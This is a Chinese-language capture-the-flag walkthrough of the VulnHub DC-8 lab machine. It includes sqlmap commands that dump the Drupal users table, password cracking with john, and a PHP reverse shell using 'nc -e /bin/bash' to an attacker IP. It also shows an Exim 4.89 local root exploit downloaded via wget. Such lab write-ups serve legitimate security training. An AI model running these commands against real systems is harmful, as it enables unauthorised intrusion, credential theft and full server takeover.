环境搭建
- 攻击机:Kali-Linux2020.4(VmwareWorkstation)
- 靶机:DC-8(VirtualBox)
- DC-8靶机下载链接:https://www.vulnhub.com/entry/dc-8,367/
- Kali与DC-8配置桥接模式,并桥接到同一张网卡
- Kali的IP地址如下:
信息收集
-
先使用Nmap探测Kali与DC-8所在网段存活主机,找到DC-8的IP地址:192.168.2.33
-
进行全面扫描和全端口扫描,发现开放了22和80端口。80端口运行着一个Drupal 7。
-
个人习惯,使用Nmap的vuln脚本扫描一下常见漏洞。有点用的也就是枚举出的目录了,没什么收获。
-
查看网站的robots.txt,发现了很多路径。尝试访问,但并没有什么发现。
SQL注入进后台
-
在主页Details中有三个文章,点击发现URL中出现了nid参数。
在数字后加带你引号进行简单的SQL注入尝试,结果出现了数据库报错页面,判断可能存在SQL注入漏洞。
-
复制页面链接,使用Sqlmap进行检测。检测发现确实存在SQL注入漏洞。
sqlmap -u "http://192.168.2.33/?nid=1"
爆数据库:sqlmap -u "http://192.168.2.33/?nid=1" --dbs --batch
爆数据库d7db的表名:sqlmap -u "http://192.168.2.33/?nid=1" --batch -D d7db --tables
爆users表中字段名:sqlmap -u "http://192.168.2.33/?nid=1" --batch -D d7db -T users --columns
爆users表中账号密码:sqlmap -u "http://192.168.2.33/?nid=1" --batch -D d7db -T users -C name,pass --dump
-
将获得的密码使用john尝试解密。
创建一个文件,将两个hash值写入文件。
成功解出一个密码,接下来尝试登录。john dc8-pass --show
-
在登陆页面尝试登录,发现john用户可以成功登录。
getshell
-
在进入后台后,页面上方的Structure和Configuration模块都没有内容,只有Contact Us模块出现了可以编辑的内容。
-
最后在Webform页面,发现可以对提交表单后的致谢内容进行修改。并且发现可以将内容以PHP code形式来保存。这和dc-7获取shell的方式如出一辙。
-
尝试写入PHP反弹shell的代码,并保存。
<?php system("nc -e /bin/bash 192.168.2.14 9999"); ?>
-
这个致谢内容是提交表单后才出现的,所以提交一个表单,尝试反弹shell。
Kali监听9999端口:nc -lvnp 9999
填写一个Contact Us表单并提交。
发现Web页面在提交表单后,已知处于加载状态,说明反弹shell的代码被成功执行。查看Kali,发现成功接收到shell。
-
使用python升级shell,方便使用。
python -c 'import pty; pty.spawn("/bin/bash")'
权限提升
常规思路尝试
-
获取到shell后,先翻翻敏感文件,看能否发现有价值的信息。
查看/etc/passwd,发现存在一个用户dc8user,但查看该用户的家目录,发现时空的。
-
后续查看了很多配置文件等,但都没有发现有价值的信息。
-
使用sudo -l 查看有无有特殊权限的文件,发现需要输入密码,无法查看。
-
查看是否有SUID提权,发现有一个exim4存在(Exim是一个邮件传输代理服务器软件)。
find / -user root -perm -4000 -print 2>/dev/null
exim提权
-
使用searchsploit exim尝试搜索已知漏洞,发现存在本地提权漏洞。
searchsploit exim
尝试查看exim的版本号,尝试缩小范围。成功获取到版本号。exim --version
版本号为4.89,所以尝试使用46996.sh来进行提权。
-
查看46996.sh这个脚本文件,发现其有两个使用方法。
cat /usr/share/exploitdb/exploits/linux/local/46996.sh
-
在传输文件之前根据前面的经验,先修改一下这个脚本文件的编码,以方上传后运行出现问题。使用Vim修改文件。只需要Vim打开文件,然后键入以下内容后,回车,保存退出便可。
:set ff=unix
-
使用python启动一个http服务,供靶机下载这个脚本文件。
Kali:复制该脚本到/tmp目录后,使用python开启一个服务供靶机下载脚本。python -m SimpleHTTPServer
靶机:切换到/tmp目录下,使用wget下载脚本文件。
-
在脚本运行之前,需要给脚本执行的权限。
-
先尝试第一种使用方法,发现没有提权成功。
./46996.sh -m setuid
-
尝试第二种使用方法,成功获取到root权限。(未知原因shell会在维持短暂的时间后退出。)
获得flag
在/root目录下,成功获取到flag。